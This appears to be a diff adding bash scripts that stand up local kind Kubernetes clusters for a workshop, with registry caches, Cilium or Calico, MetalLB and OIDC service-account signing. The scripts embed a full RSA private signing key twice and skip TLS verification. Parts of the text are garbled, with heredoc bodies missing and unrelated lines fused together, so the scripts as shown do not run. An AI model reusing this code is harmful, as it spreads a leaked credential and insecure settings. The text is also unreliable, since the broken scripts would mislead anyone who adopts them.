true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d 